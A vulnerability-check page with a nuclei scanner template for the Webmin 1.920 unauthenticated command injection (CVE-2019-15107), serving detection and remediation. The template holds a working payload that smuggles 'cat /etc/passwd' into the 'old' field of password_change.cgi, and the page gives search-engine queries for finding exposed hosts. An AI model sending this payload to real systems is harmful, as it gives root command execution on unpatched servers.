Webmin <= 1.920 - Unauthenticated Remote Command Execution

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Webmin <=1.920. is vulnerable to an unauthenticated remote command execution via the parameter 'old' in password_change.cgi.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with root privileges.

Fix

Upgrade to Webmin version 1.930 or later to mitigate this vulnerability.

How to confirm it

Send: POST /password_change.cgi
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2019-15107 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-15107

info:
  name: Webmin <= 1.920 - Unauthenticated Remote Command Execution
  author: bp0lr
  severity: critical
  description: Webmin <=1.920. is vulnerable to an unauthenticated remote command execution via the parameter 'old' in password_change.cgi.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with root privileges.
  remediation: |
    Upgrade to Webmin version 1.930 or later to mitigate this vulnerability.
  reference:
    - https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15107
    - https://www.exploit-db.com/exploits/47230
    - http://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
    - http://packetstormsecurity.com/files/154485/Webmin-1.920-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-15107
    cwe-id: CWE-78
    epss-score: 0.9971
    epss-percentile: 0.99951
    cpe: cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: webmin
    product: webmin
    shodan-query: http.title:"webmin"
    fofa-query: title="webmin"
    google-query: intitle:"webmin"
  tags: cve,cve2019,packetstorm,webmin,rce,kev,edb,vkev,vuln

http:
  - raw:
      #
      - |
        POST /password_change.cgi HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Referer: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from